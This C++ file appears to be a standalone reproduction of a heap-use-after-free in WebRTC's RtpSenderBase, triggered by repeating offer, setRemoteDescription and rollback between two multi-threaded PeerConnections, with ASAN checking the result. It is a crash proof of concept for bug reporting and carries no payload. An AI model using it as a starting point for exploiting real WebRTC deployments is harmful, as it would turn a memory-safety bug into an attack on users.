// Standalone repro: heap-use-after-free in RtpSenderBase::DetachTrackAndGetStopTask
// Bug: pc/rtp_sender.cc:864
// Uses real multi-threaded PeerConnection (NOT the fuzzer single-thread setup)

#include "api/create_peerconnection_factory.h"
#include "api/peer_connection_interface.h"
#include "api/audio_codecs/builtin_audio_decoder_factory.h"
#include "api/audio_codecs/builtin_audio_encoder_factory.h"
#include "api/video_codecs/builtin_video_decoder_factory.h"
#include "api/video_codecs/builtin_video_encoder_factory.h"
#include "api/task_queue/default_task_queue_factory.h"
#include "api/enable_media.h"
#include "api/set_local_description_observer_interface.h"
#include "api/set_remote_description_observer_interface.h"
#include "api/make_ref_counted.h"
#include "rtc_base/ref_counted_object.h"
#include "rtc_base/thread.h"
#include "rtc_base/ssl_adapter.h"
#include "rtc_base/physical_socket_server.h"
#include "pc/test/fake_audio_capture_module.h"

#include <cstdio>
#include <memory>
#include <string>
#include <atomic>
#include <chrono>
#include <thread>

using namespace webrtc;

class SimpleObs : public PeerConnectionObserver {
 public:
  void OnSignalingChange(PeerConnectionInterface::SignalingState) override {}
  void OnDataChannel(scoped_refptr<DataChannelInterface>) override {}
  void OnRenegotiationNeeded() override {}
  void OnIceConnectionChange(PeerConnectionInterface::IceConnectionState) override {}
  void OnIceGatheringChange(PeerConnectionInterface::IceGatheringState) override {}
  void OnIceCandidate(const IceCandidateInterface*) override {}
};

class CreateObs : public CreateSessionDescriptionObserver {
 public:
  void OnSuccess(SessionDescriptionInterface* desc) override {
    desc->ToString(&sdp);
    done = true;
  }
  void OnFailure(RTCError error) override {
    fprintf(stderr, "  CreateSDP: %s\n", error.message());
    done = true;
  }
  std::atomic<bool> done{false};
  std::string sdp;
};

class SetLocalObs : public SetLocalDescriptionObserverInterface {
 public:
  void OnSetLocalDescriptionComplete(RTCError error) override {
    if (!error.ok()) fprintf(stderr, "  SetLocal: %s\n", error.message());
    done = true;
  }
  std::atomic<bool> done{false};
};

class SetRemoteObs : public SetRemoteDescriptionObserverInterface {
 public:
  void OnSetRemoteDescriptionComplete(RTCError error) override {
    if (!error.ok()) fprintf(stderr, "  SetRemote: %s\n", error.message());
    done = true;
  }
  std::atomic<bool> done{false};
};

static void WaitDone(std::atomic<bool>& flag) {
  while (!flag.load()) {
    std::this_thread::sleep_for(std::chrono::milliseconds(1));
  }
}

int main() {
  InitializeSSL();

  // Create separate threads for network, worker, signaling
  auto net = Thread::CreateWithSocketServer();
  auto wrk = Thread::Create();
  auto sig = Thread::Create();
  net->Start(); wrk->Start(); sig->Start();

  auto factory = CreatePeerConnectionFactory(
      net.get(), wrk.get(), sig.get(),
      FakeAudioCaptureModule::Create(),
      CreateBuiltinAudioEncoderFactory(),
      CreateBuiltinAudioDecoderFactory(),
      CreateBuiltinVideoEncoderFactory(),
      CreateBuiltinVideoDecoderFactory(),
      nullptr, nullptr);
  if (!factory) { fprintf(stderr, "Factory failed\n"); return 1; }
  printf("[*] Factory created (3 separate threads)\n");

  SimpleObs obs1, obs2;
  PeerConnectionInterface::RTCConfiguration cfg;
  cfg.sdp_semantics = SdpSemantics::kUnifiedPlan;

  PeerConnectionDependencies d1(&obs1);
  auto cr = factory->CreatePeerConnectionOrError(cfg, std::move(d1));
  PeerConnectionDependencies d2(&obs2);
  auto ce = factory->CreatePeerConnectionOrError(cfg, std::move(d2));
  if (!cr.ok() || !ce.ok()) { fprintf(stderr, "PC failed\n"); return 1; }
  auto caller = cr.MoveValue();
  auto callee = ce.MoveValue();
  printf("[*] 2 PeerConnections\n");

  caller->AddTransceiver(MediaType::AUDIO);
  printf("[*] caller.addTransceiver(audio)\n");

  printf("[*] Running 500 iterations of offer->setRemote->rollback\n");
  for (int i = 0; i < 500; i++) {
    // createOffer
    scoped_refptr<CreateObs> co(new RefCountedObject<CreateObs>());
    caller->CreateOffer(co.get(), PeerConnectionInterface::RTCOfferAnswerOptions());
    WaitDone(co->done);
    if (co->sdp.empty()) continue;

    // setRemoteDescription on callee
    auto desc = CreateSessionDescription(SdpType::kOffer, co->sdp);
    if (!desc) continue;
    scoped_refptr<SetRemoteObs> sro(new RefCountedObject<SetRemoteObs>());
    callee->SetRemoteDescription(std::move(desc), sro);
    WaitDone(sro->done);

    // rollback on callee -- UAF trigger
    auto rb = CreateSessionDescription(SdpType::kRollback, "");
    if (!rb) continue;
    scoped_refptr<SetLocalObs> slo(new RefCountedObject<SetLocalObs>());
    callee->SetLocalDescription(std::move(rb), slo);
    WaitDone(slo->done);

    if (i % 100 == 0) printf("  iteration %d/500\n", i);
  }

  printf("[*] Closing...\n");
  caller->Close();
  callee->Close();
  std::this_thread::sleep_for(std::chrono::milliseconds(500));

  printf("[+] Done. Check ASAN output above.\n");
  CleanupSSL();
  return 0;
}
